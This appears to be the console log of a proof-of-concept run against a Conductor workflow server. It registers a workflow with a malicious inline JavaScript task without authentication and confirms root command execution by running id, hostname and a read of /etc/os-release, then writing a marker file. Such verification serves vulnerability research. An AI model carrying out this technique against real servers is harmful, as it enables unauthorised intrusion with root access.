[*] target=http://172.20.0.1:8080 cmd='id; echo PRUVA_RCE_CONFIRMED_1783233078; hostname; cat /etc/os-release | head -1; echo PRUVA_RCE_CONFIRMED_1783233078 > /tmp/PRUVA_RCE_CONFIRMED_1783233078.txt'
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)

[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
PRUVA_RCE_CONFIRMED_1783233078
muramasa
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"